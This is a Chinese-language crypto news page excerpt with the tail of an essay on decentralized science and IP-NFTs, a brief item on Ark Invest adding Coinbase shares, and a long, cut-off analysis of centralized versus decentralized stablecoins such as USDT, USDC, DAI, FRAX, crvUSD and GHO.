的方式。事实证明，优质产品所附带的金钱激励是让人们了解新领域的最佳方式。这适用于体育博彩、Airbnb 和房屋所有权的倍增、向初创公司员工发行股票、Robinhood 期权交易和华尔街赌注——这样的例子不胜枚举。 虽然我们预见到这将导致投机狂潮甚至欺诈行为（例如江湖骗子铸造“知识产权”并将其倾销给毫无戒心的散户投资者）的风险，但人类历史上没有任何行业能够逃脱这一风险。就像 eBay 成功地遏制和消除了早期的支付欺诈一样，我们认为 DeSci 也会有预防机制。DAO 组建由可验证的信誉贡献者组成的委员会来评估知识产权并进行尽职调查就是这方面的一个例子。 我们最近发布了 The Fappening，我们在其中争论应用层的价值，特别是超级应用程序（此后成为一个时髦的术语）。我们预计 DeSci 项目本身不会像今天所描述的那样成为超级应用程序，但我们仍然认为 DeSci 的价值不会累积到基础设施层。正如我们在论文中所写： “作为一个加密原生应用程序，跨每个合理的基础层部署和无缝桥接有效地创造了块空间的极端可替代性——商品化。执行的最佳路径自然会发生在用户甚至不知道他们的执行轨迹的情况下。不用说这确实有限制。它依赖于您部署的链具有足够合理的质量（安全性）假设。 从这个意义上说，不同的区块链为超级应用程序提供服务。此外，应用链只是另一个更高的执行控制场所。” 镐和铲子在设计上是一种懒惰的方法，但在像生物技术这样信息高度不对称的行业中，这种懒惰是令人无法接受的。DeSci 的核心是允许使用加密资本在链上买卖医疗 IP。这不是计算密集型练习。该系统的参与者需要的是存储的完整性和数据可用性。在某些方面，获取 IP 类似于在链上购买 ETH 并在未来十年将其存放在你的冷钱包中。 我们认为 DeSci 的货币价值将累积到： •有价值的知识产权的持有者——科学家和像 VitaDAO 这样的研究资助 DAO ； •将知识产权商业化的大型制药公司； •促进 IP 交易并为用户提供有价值服务的垂直 NFT 市场 – Molecule。 为了说明前两点，请考虑我们之前讨论的内容：大型制药公司是生物技术初创公司最有可能退出的场景，因为大型制药公司需要不断进行交易以确保未来的收入。 我们认为大型制药公司和研究资助 DAO 之间存在共生关系。前者可以参与范围的两端——既可以作为知识产权的供应商，也可以作为知识产权的收购方。 科学家是IP的鼻祖。最终买家是制药公司，但商业价值会回馈给拥有部分知识产权/特许权使用费的每个人。 大药厂是IP的鼻祖。最终买家是另一家制药公司，但商业价值会回馈给拥有部分知识产权/特许权使用费的每个人。 为了说明为什么这个想法是实用的——辉瑞投资了 VitaDAO，专注于长寿研究： 辉瑞正在购买代币并在链上投票，而你却宣布两者都已死亡 VitaDAO 拥有超过 9000 名贡献者、研究人员和爱好者，不仅提供资金，还提供孵化器和网络访问——这可能是替代资本来源的卓越价值主张。科学家通常缺乏商业能力和商业敏锐度，这就是为什么 DAO 不仅仅是一个购买 IP 然后将其转给其他人的简单中介（尽管这就是我们之前在简单图表中展示 DAO 的方式）。此外，这个广泛的侦察员网络应该提供早期生物技术风险基金无法获得的不相关的交易管道，以及公开可见的彻底的、社区驱动的尽职调查过程。 这个生态系统中的关键部分是 IP-NFT 本身。Molecule 使用 ERC-1155 令牌标准来代表对 IP 和研发数据的合法权利。这些 NFT 也可以被分割用于分布式所有权、许可、治理，并与 DeFi 具有可组合性。 到现在为止，您可能会想——为新疗法进行未经许可的融资是有道理的，但为什么它需要成为 NFT？ 好吧——为什么不呢？今天的科学知识受到付费墙和私人数据库的保护，无法进行修补。由于区块链的透明性，开放获取科学是一件好事。要看到今天的虚伪，请考虑 Sarah Hamburg 的文章（https://a16zcrypto.com/content/article/what-is-decentralized-science-aka-desci/）DeSci 指南，最新的 Web3 运动中的以下段落： “开放科学倡议产生了深远的影响，包括美国国立卫生研究院和其他资金来源要求发布开放获取的研究结果。但是，科学在多大程度上得到了改进，这是一个有争议的问题。例如，期刊以付费出版商业模式回应这些要求。现在，公共资助的科学家不再花钱阅读其他人的研究，而是花钱发表自己的研究（《自然》杂志每篇论文收费超过 11,000 美元）。一些学者认为，开放获取授权越来越多地将权力集中在主要出版商手中。” 其次，我们之前讨论的传统资助模式并不是科学家成为企业家的最佳设置。如果你是大学实验室的一员，并且团队被分拆出去寻求风险投资/研发孵化，那么“创始”团队几乎没有动力将其作为他们的终身项目。大学从知识产权转让中获得补偿，外加一些未来的小额特许权使用费，核心团队不像在软件初创公司的例子中那样拥有 captable。 ERC-1155 的碎片化有助于解决这个问题。在链上筹集资金并出售其知识产权的科学家将能够在整个治疗周期中保留对治疗的经济利益。 更广泛地说，我们认为以区块链为中心的筹资模式比传统的众筹（又名 Kickstarter）带来更多： •前者允许各方组织和形成 DAO，接受另一方的资金，并提供有价值的东西，如孵化和网络访问，而传统的众筹对投资者的协调能力要差得多； •区块链允许为参与者建立可验证的凭证； •NFT 模型更具流动性——它是可分割的，可与 DeFi 组合，并且可以轻松地在二级市场上进行交易。 未经许可的资本形成和卓越的激励设计将导致大量奇特的想法进入市场，其中一些会取得巨大的成功。市场将促进这种资本和思想的交流。 说到市场，eBay 和 Craigslist 在 1990 年代开始作为横向市场，卖家可以在其中列出任何类型的商品（甚至服务）。但随着数字经济的发展和消费者开始表达他们对特定商品和品牌的消费偏好，这让位于垂直市场的增长。他们优化了卓越的项目发现和质量保证，并拥有自己的品牌（“我在 RealReal 上购买了我所有的奢侈品包，并在 1stdibs 上找到别致的家居装饰！”） 这种变化背后的原因很简单。垂直市场可以为用户提供比水平市场更多的服务，这会导致更具粘性的指标（保留率、参与度等）。这意味着花在客户获取上的每一美元都有可能比在横向市场上花费的美元获得更高的投资回报率。在 web3 中，我们不仅看到了市场的垂直化，也看到了互联网的垂直化。 如果我们关于 NFT 成为比 JPEG 收藏品更宏伟的东西是正确的，那么 Opensea 无法容纳每个社区和每个想法。我们建议 Molecule 成为不仅是科学而且是各种 IP 的垂直市场。这将是一个平台，买家可以在其中对交易的 IP 有一定的保证，卖家也可以在这里列出他们的 IP，因为他们知道 Molecule 上的流动性最容易获得（每个 DAO 和每个 degen 都在那里出价！）最重要的是, Molecule 也将成为一个开源的科学研究图书馆——今天不存在——这会改善 Molecule 的交易体验，因为更多的用户通过信息发现被吸引到生态系统中。 除了公开市场上的少数临床阶段公司外，公众无法投资早期治疗。将医疗 IP 放在链上，并创建一个交易场所（分子），足以启动一个全新的资产类别。以前无法投资早期研究。如果这要求增量资本流入生态系统，那么市场最有能力捕捉这些美元的价值。 DeSci 是（超级）金融化和制药业之间的楔子。资本具有周期性、冒险性和适应性，因为它始终以利润为导向。正如我们所描述的，传统的医学研发是缓慢的、官僚主义的、边缘化的，并且针对同行评审进行了优化。我们希望，将两者结合起来会产生不同寻常的结果。 正如泰勒·皮尔逊 (Taylor Pearson) 在其精彩文章中所说的那样——市场正在吞噬世界。当交易成本下降时，市场会扩展到新的社会领域。交易包括 triangulation、transfer 和 trust。随着这些成本的崩溃，社会从新石器时代发展到工业时代，然后是计算时代，现在进入了区块链时代。 我们得出结论，DeSci 降低了所有三个维度的交易成本： • 三角测量：与（传统上）门控知识访问相比，开放获取科学专利和出版物使市场参与者能够更容易地发现和衡量质量； • 转让：以 NFT 的形式交易 IP 降低了物理世界中等效程序的复杂性和成本（例如将 IP 放入 SPV 并出售其股份），同时改善了投资者和企业家之间的匹配（非正统研究与合适的投资者）； • 信任：可信中立的区块链，如以太坊和存储解决方案，减少了交易中涉及的信任假设。 这些力量将催生一个新的自由市场，并打破当今政府对科学创新方向的垄断。  ( 6 min )
    Ark Invest昨日增持2050万美元Coinbase股票
    PANews 3月10日消息，据The Block报道，Cathie Wood 的 Ark Invest 继续在其基金中增持 Coinbase 股票，继周三增持后，昨天又增持了 2050 万美元。 其中 Ark Invest 向其 Ark Innovation ETF 添加了 301,437 股 Coinbase 股票，向 Ark Next Generation Internet 添加了 52,525 股 Coinbase 股票。Ark Invest 还购买了社交交易平台 Robinhood 超过 265,000 股股票。这些股票仅被添加到 Ark Next Generation Internet ETF 中，达到约 250 万美元。  ( 4 min )
    去中心化稳定币深度观察：赛道硝烟未散，谁能问鼎夺冠？
    原文：《去中心化稳定币战争：谁能夺得加密货币的圣杯》 作者：Armonio 按照是否隔绝中心化风险来划分阵营，稳定币可分为中心化稳定币与去中心化稳定币。只要不是完全去中心化风险，稳定币就一定面临由中心化带来的违约风险。 在中心化监管的威胁步步逼近的时代，是否去中心化是稳定币重要的属性。 绝大部分稳定币都无法成为加密世界的基础货币。绝大部份稳定币只相当于商票，通过交易对的交换行为，行使主流稳定币借贷的功效。 一种稳定币机制，要包含创造自己的需求场景，不仅仅是成为一般等价物（对小规模稳定币很难），也要考虑一些独有的经济活动（清算、高息债券）。 中心化稳定币的赛道几乎尘埃落定，USDT和USDC难分雌雄。CrvUSD虽然含有中心化风险，但稳定币功能模块完整，拥有一定潜力。去中心化稳定币目前几乎是一片荒漠。该赛道存在底层需求，未来面临潜在的发展机遇。 从2018年开始，无数的投资机构、媒体都将稳定币称作加密货币的圣杯。 起于2018年的巨型稳定币项目，Libra，从诞生之初，就不断受到国家权力的干扰，而胎死腹中。 根据《华尔街日报》，2021年7月20日，Circle拨款1040元，用于和SEC达成和解。 2021年10月15号，Tether因虚假陈述，被美国政府罚款4100万美金。 2023年2月13号，为了避免SEC的起诉，Paxos停止继续发行BUSD。 我无意探讨这些惩罚与监管的对错，列举这些事情只是说明，所有中心化稳定币都面临中心化的风险，接受中心化，必须就接受着中心化的干涉。如果稳定币是水龙头，加密世界的流动性如果完全依靠中心化的稳定币，那么加密世界的资产定价权，就不在加密世界之内了。目前稳定币赛道，去中心化的力量岌岌可危，没有人希望去中心的世界被中心化的权力握住睾丸。可目前的现状事与愿违： 以USDT，USDC，BUSD的中心化稳定币占据着稳定币市场的绝大部份（91.6%），而去中心化稳定币中，DAI和FRAX还饮鸩止渴，使用中心化稳定币作为信用抵押物。 【图一】被中心化稳定币统治的稳定币赛道 风险总是服从墨菲定律。 BUSD被清算再一次证明美元映射稳定币存在的中心化风险。BUSD当前市值157亿，随着Paxos宣布不再增发BUSD，这157亿的市场空间将被其他稳定币争夺。相比于USDT和USDC等同类稳定币，纯链上的去中心化稳定币拥有相对更好的抗审查风险属性。 稳定币不一定要去中心化。中心化稳定币已经存在、且不容忽视。从USDC、USDT到DCEP，不仅仅在规模和成本呈现碾压之势，这些中心化稳定币会受到传统世界的赋能和担保。0xhankerster.eth认为稳定币可以分为中心化的稳定币和去中心化的稳定币。他的分类里，中心化和去中心化的界定是针对的是稳定币的发行机制。当时的划分关注的是中心化的形式，不是面临中心化风险的实质。这篇文章，更多从中心化风险敞口出发，将稳定币分为中心化和去中心化。 如同其他所有的Web3项目，立项时都需要拷问初心。为什么要有去中心化稳定币？ 去中心化货币的可行性 去中心化的货币是货币的源头。货币是可以去中心化的。在人类历史的长河中，去中心化的货币曾经出现过。无论是以物易物的货币学说，抑或是债务形成货币的学说。中心化信用都不是一开始就参与货币生成过程。 在历史上，债务一直在充当支付手段。早在公元前4000年前，美索不达米亚平原上，人们发明了记录事件的泥版。重要的事情将被记录下来，比如债务。债务的记录包含债务的内容、归还债务的支付手段，逾期不还的惩罚措施等等。而这些债务是可以作为支付手段的。 根据人类学家大卫格雷柏的描述，公元前3100年～2686年，埃及是一个农业社会，谷物的借贷比较普遍。人民会在新一年丰收之际归还谷物。谷物的借贷信息被记录在泥石板上，包括借贷者，数量，时间等等。这样的泥板被称作"Henu"。人们把这样的泥版作为货币，在商品流通中使用。 无论是金银抑或债务，它都是去中心化信用的。 去中心化稳定币的必要性 发币就是为了增发信用，中心化的稳定币没有铸币权。我们孜孜所求的是信息时代的炼金术，是希望能脱离中心化权力创造稳定的信用。加密原教旨主义者相信，货币的发行权是被中心化机构所窃取的。拥有发行权的一方就享有铸币税，发行方有足够的动力滥发或超发货币。一旦在去中心化的网络中发行中心化的稳定币，这些掌握发行稳定币的中心与传统世界上发行货币的中心没有区别。如果不能夺得政府和央行的铸币权。稳定币的发行方只能沦为发行信用证的商业金融机构。 中心的稳定币承受中心化的威胁。中心化稳定币会时刻受着中心化风险的威胁，稳定币的信用会因中心的信用缺陷而受到质疑，稳定币的价值时常会受到挑战。中心化稳定币的信任不是天然的。无论是USDC还是USDT，都曾因为市场的流言和蜚语面临挤兑。而他们的背后，是美国的金融监管体系为其信用背书。中心化稳定币必然受到美国政府的约束。当Tornado Cash受到美国政府不公正待遇的时候，没有经过任何的民主程序，Circle就标注了与Tornado Cash交互的USDC。同理，强权会损害任何中心化稳定币持有者的权益。去中心化稳定币是给大家一个其他的选择。 去中心化稳定币拥有固有市场 和其他产品一样，不同的产品有着自己的目标用户。在传统的观念中，没有一个组织不是中心化的。中心化的风险也许会隐藏在其他风险之中，比如在运营风险中的单点破坏风险。任何一个组织会根据自己的风险偏好，选择自己的风险策略。中心化风险与其他传统定义的风险不同。对中心化风险敏感的用户，其他的成本和风险都是必要的代价。 从亚当斯密创教以来，由国家信用发现货币似乎天经地义。直到哈耶克横空出世，阐明了货币的非国家化。算法稳定币延续着BTC的道路，在去中心化信用的方向上继续探索。与USDT、USDC等法币足额法币抵押的稳定币不同，算法稳定币从一开始就是希望替代央行创造信用的功能。算法稳定币并不会帮助法币捕获加密世界创造的价值，与依照法币等额发行的中心化稳定币处于竞争位置。因此，算法稳定币很难不与中心化央行或政府的利益发生冲突。 稳定币是一个规模生意 作为稳定币，长期看，必须要突破一定的规模限制，才能实现生态的正向循环。 稳定币要提高使用率，除了币价稳定没有市场风险，还需要更高的利率，更低的交易成本。当一种稳定币规模不大的时候，兑换绝大多数非稳定币，必须要经过其他代币结算。 【表一】小型稳定币没有优势 上表已经是规模排名3～5的算法稳定币，排名第一的是DAI和FRAX。从表中可以看到，3～5名的算法稳定币只有2亿～6.8千万的市场规模，而且这些稳定币有部分要用于流通，无法完全用于交易对的创建。即使创建交易对，pegged交易对还会吸收大量的稳定币。能够用于直接与其他风险资产建立的信用十分有限。不仅仅直接连接的交易对少，手续费高。使用低市场规模的稳定币还会面临更高的交易滑点，不利于巨鲸进入。以各种稳定币兑换WETH为例，使用1inch的交易路由，价值10W美金的LUSD的滑点在1.78%，FRAX的滑点是0.36%，DAI是0.2%。 这些规模上的劣势都会提高稳定币的交易成本。为了抵消交易成本，项目方需要提高项目运营成本，给稳定币更高的收益率。因此，稳定币是一门规模经济的生意。 当稳定币规模达不到时，稳定币所创造的收入（手续费、利息、清算费，衍生收入）就覆盖不了其维持规模的成本。这种情况，从长期来看，该稳定币就必然面临崩盘。 稳定币是一门被传统力量忌讳的生意 而去中心化稳定币如果想做出规模，不可避免地面临传统力量的关注。然而，一直以来，传统世界对加密货币都抱有恶意。不仅仅美国政府让Libra胎死腹中。世界货币基金组织一直对加密货币抱有敌意，当由各国央行主导的DCEP列队入场时，谁是该被剿灭的杂牌军？2023年2月23日，IMF董事会声明，加密货币不该被授予法定货币地位。我们没有办法知道稳定币的规模优势阀域是否低于传统力量关注的阀域。 没有规模就无法经济上持续经营，拥有规模却面临中心化权力的干涉风险。这就是稳定币的伊卡洛斯之翼。 稳定币的出路，要么成为传统力量的门下走狗，要么就做好彻底与世界撕裂的去中心化准备。 目前的稳定币行业，由USDT，USDC垄断了市场绝大多数份额，但其他稳定币的种类高达百种。那么，稳定币的这门生意是怎样的业态？ 高能货币与广义货币 在宏观经济学中，我们根据货币的流动性强弱，将货币分为了M0～M3不同的等级。这种流动性差异，在代币中广泛存在。代币的流动性本身，也是代币价值的重要组成部分。用户更愿意持有高流动性的代币，愿意把高流动性代币作为交易对的对手方。试想一下，作为一个项目的发起人，如果要标价自己的代币，首选的当然是USDC和DSDT。谁会采用持有账户少，滑点大，代币数量少的Alt-stablecoin作为标价的尺度和交易对象呢？相比于这些小规模稳定币，BTC和ETH还更为可靠。 当前的情况就是：除了USDC、USDT，绝大部分的稳定币都很难获得“被动”建立交易对的机会（这里，“被动”是指除了稳定币项目方以外的其他项目方建立来提供流动性、建立交易对）。因此，这些绝大多数的稳定币必须依靠先兑换成USDT、USDC、BTC、ETH等高流通性代币，再去与目标代币交易。这种情况就像是我在一家银行里定期存款，有一张定额存单。我不能直接拿定额存单去消费，但可以在二级市场上卖掉存单，再用高能货币去消费。 以此比喻，事实上，USDC、USDT就已经占领了稳定币世界里的高能货币的职位。绝大多数依靠绑定高能货币提供流动性的稳定币，其实只是提供类似传统金融市场里的广义货币。 【图二】稳定币赛道结构一 借贷系统？ 广义货币类型的稳定币，其创造流动性的运行机制与借贷雷同。很多Alt-stablecoin其实没有与诸多代币建立交易对。按照传统的说法，这些Alt-stablecoin连一般等价物都称不上，除了内部空投挖矿以外，外部收益近乎为零。而创造、借贷出该代币还会产生成本。除了保持债务计价上的相对稳定，这些Alt-stablecoin没有价值。那么留给这些Alt-stablecoin的出路就只有通过交易对换成主流的交易货币，然后再参与链上经济活动。为了获得处于链上活动的机会，稳定币项目不得不对Alt-stablecoin～Main stablecoin交易对激励。而这种激励，实际上是一种针对主流稳定币的利率补贴。 【图三】稳定币/借贷 殊途同归 假设稳定币无法创造其链上经济活动，那么用户借助稳定币生成机制产生的X稳定币，最终只能通过交易对换成主流的，拥有多种链上活动的稳定币，再进行经济活动。这个过程等同于主流稳定币借贷池。从功能上，Alt-stablecoin生成机制 + 交易对 = 超额抵押借贷。 而如果拥有X稳定币独特的经济活动，那么X相较于USDT，USDC就有了差异。这就会产生USDC，USDT换X，参与经济活动的动力。 我们从Curve的很多非主流稳定币与主流稳定币的交易对的情况就能看出，大量的主流交易对被“借出”。 相比于通过借贷池获得主流稳定币，通过非主流稳定币发生机制+交易对，流动性成本更稳定，更易控制。相比于借贷池，交易对池中，除了主流稳定币，还需要非主流稳定币才能组成交易对。系统资本效率降低了。如果非主流稳定币拥有独特的经济活动，能够让主流稳定币反向兑换还好，否则交易对就是借贷池。目前，像FRAX等非主流稳定币持续激励交易对，就是某种变相的“利息补贴”。 从2014年秋，USDT被创立以来，稳定币的创造者们已经做出了各种各样的稳定币尝试。 目前最主流的依然是中心化的方式。一美金存入现实指定账户，线上发行一美金的稳定币资产。随着政府监管的逐渐完善，这些中心化稳定币从监管的角度被堵上了随意虚增或者抵押品资产流动性不足等风险。披露程度也逐渐加强。【Muse labs】【Sam bourgi】然而，中心化的风险一直如影随形。近日，由于清算银行Silvergate无法按时向SEC提交报告，使人们对Circle公司发行的USDC是否会违约再次产生担忧。 由此，用算法创造信用与稳定的尝试从来没有断绝。 用算法创造币价的稳定性有以下几种方式： 再平衡稳定币 AmpleForth创立了发币量再平衡的稳定币。代币拥有一个目标价格，一个市场价格。AMPL（AmpleForth项目的稳定代币）的数量会根据目标价格和市场价格的差异进行增加或者减少。这种方式让AMPL的币价是稳定了，对于AMPL的借贷者，借和还的时候价值一致。但用户资产组合里以AMPL计价的资产依然承受市场风险。为此，AmpleForth设计了市场风险的分层衍生品，一部分衍生品承担更大的风险，一部分承担相对较小的风险。市场的反馈是失败了。（Buttonwood里面根本没有流动性）这种通过衍生品获得的稳定与通过期货对冲市场风险没有差异。 传统的再平衡机制早已经失去了市场活力。没有听说新的稳定币项目继续采用再平衡机制。然而最近的逆（3，3）流动性激励策略，让我们看到了一些曙光。流动性激励是所有稳定币需要做的事情，而代币通缩可以有效支撑单个稳定币的价格。有没有一种可能通过锁仓，让稳定币要么处于借贷环境，要么就流入流动性池。其他情况下，通过通缩支撑稳定币不处于underwater的状态。 限制流通稳定币 2018年，cangulr90在Ethresear与人探讨过在币价高于目标价格时，限制用户买入代币；在币价低于目标价格时，限制用户卖出代币。这种思想后来被变形用在了FEI的系统里。相比于强制性的限制，FEI采用怀柔的增加成本的方式，“软刀子”限制用户买卖。FEI的失败不能单纯的归因于限制流通性。Franz Oppenheimer认为FEI的激励和惩罚机制是违背市场规则的。当FEI的价格持续低于目标价格时，哪些惩罚会让稳定币丧失基本需求：毕竟，谁会持有一个交易手续费奇高的稳定币呢？货币的价值就是在流通中体现。稳定了币价却丧失了流动性，得不偿失。以USDC、DAI等稳定币的流动性来看，FEI的日交易额大约仅相当于其他稳定币的1/8～1/10。 铸币稳定币 代币不加以控制往往会有超过现实资产的波动率。为了形成稳定币资产价格的相对稳定，市场风险最小化，一些创新采用资产风险分层的方式，将稳定币的系统中代入受系统控制的波动代币。通过稳定币和波动币的发生赎回产生联动，实现将稳定币因供需产生的价格波动，传导给波动币。从这个角度做出尝试的项目非常多。最出名的莫过于UST～Luna，采用的是销毁区块链底层Terra换取等值稳定币UST，销毁UST可获得等值Terra。还有一些项目，在稳定币低于目标值是可以购买债券币，等稳定币价格高于目标值时，可以以目标值用债券币的购买稳定币然后在市场上抛售。绝大部分此类稳定币都最终走向失败。为了让波动代币可以无限吸收稳定币的潜在波动，就不好限制波动币的发行量。波动币扩大的波动最终会破坏稳定币的信心。目前硕果仅存的项目是FRAX和FXS的联动。而且FRAX是第二大算法稳定币。它的特色是引入USDC作为大部分信用抵押，让协议控制价值PCV大幅增加。 尽管稳定性较差（绝大多数该类稳定币都归零了），我依然认为这是最crypto的稳定币设计方案：发行代币的价值捕获不是通过收入～利润模型，而是作为系统价值传递的媒介，波动代币的价值与稳定币的规模正相关。 超额抵押稳定币 超额抵押稳定币是目前最主流，经验理论也最成熟的一种稳定币的发行方式。以DAI、LUSD为代表的超额抵押稳定币长期运行良好，目前新一批潜在的稳定币竞争对手GHO、CrvUSD也竞相采用超额抵押的方法。超额抵押稳定币项目在DeFi的划分中往往被划为借贷类项目。本质是拿用户的债务作为稳定币发行的基石。不仅仅现代的央行采用债务发行货币，这种发行货币的方式经得起历史的检验。 利用债务充当支付和流通媒介的方式一直存在。早在公元前4000年前，美索不达米亚平原上，人们发明了记录事件的泥版。重要的事情将被记录下来，比如债务。债务的记录包含债务的内容、归还债务的支付手段，逾期不还的惩罚措施等等。而这些债务是可以作为支付手段的。根据人类学家大卫格雷柏的描述，公元前3100年～2686年，埃及是一个农业社会，谷物的借贷比较普遍。人民会在新一年丰收之际归还谷物。谷物的借贷信息被记录在泥石板上，包括借贷者，数量，时间等等。这样的泥板被称作"Henu"。人们把这样的泥版作为货币，在商品流通中使用。人类的第一次发行纸币是宋代的交子。这种纸币的由来也是人们将铁钱存入商行，产生了商行对消费者的债务凭证。 债务会形成稳定币的基本需求，让稳定币获得价值锚定。短期内，诱导用户赎回增发套利，和用利率调节稳定币供需来达到价格稳定的目的。超额抵押稳定币因为基本需求坚实：不还稳定币就无法拿回超额抵押的资产，因此拥有很好的稳定性。 机制短板也显而易见，一旦抵押物的清算价格低于借贷出来的稳定币，用户便不再归还稳定币。需要项目在必要时间主动清算抵押品，回收借出的稳定币，实现稳定币的流通闭环。一旦清算抵押品获得购买力不够回购稳定币，就会形成平台的坏账。因此，超额抵押稳定币机制需要抵押品拥有广泛的价值共识和良好的市场流动性。 稳定币该以什么为锚也是稳定币探索的一个纬度。 以传统世界的货币为锚 常见的稳定币以法币为锚。潜在的假设是主流法币短期内价值相对稳定，适合于做价值的标杆。长期来说，只需要象征利息的空投给得足够，就可以维持稳定币资产价值的长期稳定。黄金作为上一个时代的世界货币，也被拿出来作为价值的标杆。这样的做法，稳定币可以直接借用传统世界货币长期发展出来的影响力，减少推广的难度。目前绝大多数的稳定币都绑定了美元、欧元或者黄金，人们更多相信这些货币价值的稳定。而这种算法稳定币的痛点在于无法做得比中心化的方法更好。相比于链上资产这个小池塘，传统金融世界可谓一片汪洋，分出一点流动性，就能滋润整个区块链世界。长期统治世界的中心化权力只要愿意监管，普通的违约和欺诈就会销声匿迹。以USDT、USDC和BUSD撑起的中心化稳定币阵营几乎不给同赛道的算稳活路。他们规模更大、成本更低，绝大多数情况下，信用更好。 另一个问题，以传统世界货币为锚的稳定币将丧失货币政策的独立性，沦为法币的影子。借用蒙代尔不可能三角理论，汇率～资本自由流动～货币政策独立性不可能三者同时实现。在区块链上，除了限制流通稳定币这种自取灭亡的做法，其他稳定币的自由流动不受限制。当稳定币已经决定了资本自由流动和汇率，那这种稳定币只能成为传统世界中心化法币的影子。 自定义指数为锚 这一类稳定币在价值锚定上实现了与法币的差异化竞争。因为基础设施依然薄弱，链下的价格难以广泛采集，且可靠、廉价。指数稳定币除了锚定世界一篮子商品价格，还尝试锚定链上资产价格，只是对价格做出平滑，降低资产的波动率。这一类以指数为锚的稳定币很难得到市场共识。就算是被Vitalik在博客中提到的RAI（从某种意义上已经获得了ETH的正统性），事实上也很难扩大规模，形成规模优势（如今RAI仅有660万的市值）。 在美联储缩表的压力下，传统金融世界的融资成本不断上升。资本开始从加密世界有序退出。稳定币的总量已由2462亿降为了1351亿。加密市场缺乏流动性，从AMM的集中流动性算法，到保证金和期权交易，提高资产流动性一直是链上资产的刚需。创造稳定币就是为了提供流动性。随着DeFi行业的逐渐成熟，多家老牌DeFi机构也纷纷携资源与品牌加入竞争。稳定币蓝海的鲶鱼是Curve和AAVE。 Curve和AAVE本身都是DeFi行业里的王者。在DeFi协议里，TVL分别达到了5.02亿与4.78亿；从TVL角度排名，分列DeFi协议的3～4名。目前Curve与AAVE要做的稳定币属于超额抵押稳定币。两个协议拥有如此高的协议控制资产，只要能够转化30%，就可以达到稳定币第二把交椅FRAX的TVL规模。此外，不知道Curve和AAVE是否会单独对各自的稳定币项目制作代币激励计划。这是其他上个周期成长起来的稳定币项目所不具备的条件。 Curve和AAVE带来的优势还不止如此： Curve自身是链上最大的稳定币交易所。Curve尤其擅长把多个稳定币建成一个池子，Curve的空投权也由reCRV的持有者掌握。通过自有交易所为自有的稳定币导流，可以迅速建立起充足的流动性。稳定币的核心价值在于提供流动性，Curve是流动性分发的管理工具，能够直接给CrvUSD赋能。除此以外，Curve的稳定币会采用清算区间清算而非清算线清算。这作为后发优势，在流动性不足的时候会减少贷款人和协议的损失，杜绝流动性风险。最后，Curve会使用自有的预言机对抵押品进行报价，相比于外部的预言机服务，更加可靠。 Curve的业务是把货币的信用生成以及流动性的管理完全覆盖。在没有完全摆脱中心化威胁阴云的稳定币中，我个人最看好Curve的业态。它比USDT，USDC多了一下灵活性，而且在交易所方面可以拿捏其他稳定币的流动性。因为放弃了部分对去中心化的追求，在抵押品的选择上，信用生成的效率上，代币的稳定性上对于完全去中心化稳定币拥有一定的优势。 AAVE拥有DeFi排名前十的活跃用户。因为长期做借贷业务，AAVE对抵押品和风险的认知比较深刻。在传统借贷业务中，AAVE就通过治理限制赋予同一种抵押品过高的借贷额度。在厘清抵押品的市场风险、流动性风险等业务中，AAVE委员会在治理传统借贷和稳定币创造上没有差异。而AAVE能够生成稳定币，能大幅降低AAVE的成本。GHO在设计的时候，考虑了通过多种方式生成稳定币。这拓宽了稳定币信用生成的渠道。前面已经提到，稳定币赛道是具有明显的规模优势，如果AAVE的蓝图能得以实现，将会是非常可怕的。但从蓝图看出来，AAVE并没有把中心化看作风险，它的竞争对手最终会是USDT，USDC等中心化稳定币。 目前在AAVE上借贷，借出的每一枚代币，AAVE都需要向它的使用者支付成本。AAVE相对于只需要对流动性支付一定成本。这会是一笔划算的买卖。有些稳定币只需支付0.5%的费用就可以在curve上建立稳定币流动性池，这比目前最低的1.23%——AAVE稳定币存款利率可低不少。AAVE创造自身的稳定币GHO还有诸多好处，例如不惧流动性挤兑。目前AAVE对利率设计中，当一种代币被大量借出，接近极限时，利率会大幅上升。这是防止存款人提款没有流动性而设置的障碍，激励用户还款或存款以提供流动性。而自有的稳定币借贷不受金库规模限制，也不会影响别人存款的流动性。 老牌的算稳王者，MakerDAO面临激烈的竞争。在入不敷出的情况下，开设Spark，为DAI提供内部借贷、储蓄等应用场景，也是一种积极突破规模瓶颈的尝试。DAI的弊端非常明显：MakerDAO涉及了RWA。MakerDAO有购买现实的美国国债。无论是从受现实世界制约也好，还是购买国债的链下行为不受区块链制约，存在违约风险也好，MakerDAO提供的DAI与其他中心化稳定币一样，不再是无需信任的稳定币。DAI的细分用户和USDT，USDC的细分用户是没有差异的，也是对中心化风险不敏感的用户。按照MakerDAO自己的披露，一年净亏损940万美金。 排名第二的算稳大哥：FRAX，背后的抵押资产是USDC以及USDC的衍生资产。FRAX的中心化风险是继承至USDC，不仅仅没有摆脱中心化稳定币，而且与USDC风险同源。FRAX在2022年增发21,720,976枚FXS，如果按照当前市场价格9.78，那么FXS等于向市场融资2.1亿美金。 反观完全中心化的稳定币：按照Coinbase的四季度财报显示，USDC2022年一个季度的利润就高达2.92亿美金。Tether在2022年第四季度形成了7亿美金的利润。 稳定币的风险在于要么抵押品能不覆盖负债，完全脱钩，要么抵押品能完全覆盖负债，盯紧美元。一种稳定币只要不完全去掉中心化风险，就完全暴露在中心化风险之下。同样面临中心化风险，一头是不舍算法的中心化稳定币年年高成本地亏损，规模难以扩大；一头是完全的中心化抵押稳定币年年盈利，逐步蚕食市场。结论显而易见，完全去中心化的稳定币，在效率上，商务拓展上，有完全不可比拟的优势。同赛道竞争的算稳产品，从长期来看，只有死路一条。 有人仿照区块链不可能三角给稳定币做了一个稳定币的三难问题。它把超额抵押稳定币、中心化稳定币和算法稳定币对立起来。作者是以代币被铸造作为稳定币系统的边界，是以铸造稳定币的方法划分稳定币。它的资本效率仅仅体现在形成稳定币所需要的抵押资产。 【图五】稳定币的不可能三角 我认同稳定币三难问题的基本框架。去中心、安全和效率总是去中心化产品的痛点，分别对应稳定币独有的特征：去中心化、稳定和资本效率。不同的是，作为稳定币业务，争夺货币的正统性，扩展稳定币的使用场景，是稳定币项目的应尽之意。资本效率要包含这些场景，这也是为什么稳定币往往补贴交易对。考虑项目的资本效率，需要通盘考虑成本与收益。比如：抵押品使用stETH的效率肯定就高于使用ETH。同理，采用Curve建立稳定币流动性就比Uni V2效率高，找一个高热度交易对建立流动性，比冷门交易对建立流动性更有利于实现资本效率。 在绝大多数稳定币都沾染了中心化风险的今天。让我们来看看，目前硕果仅存的几个去中心化稳定币项目： 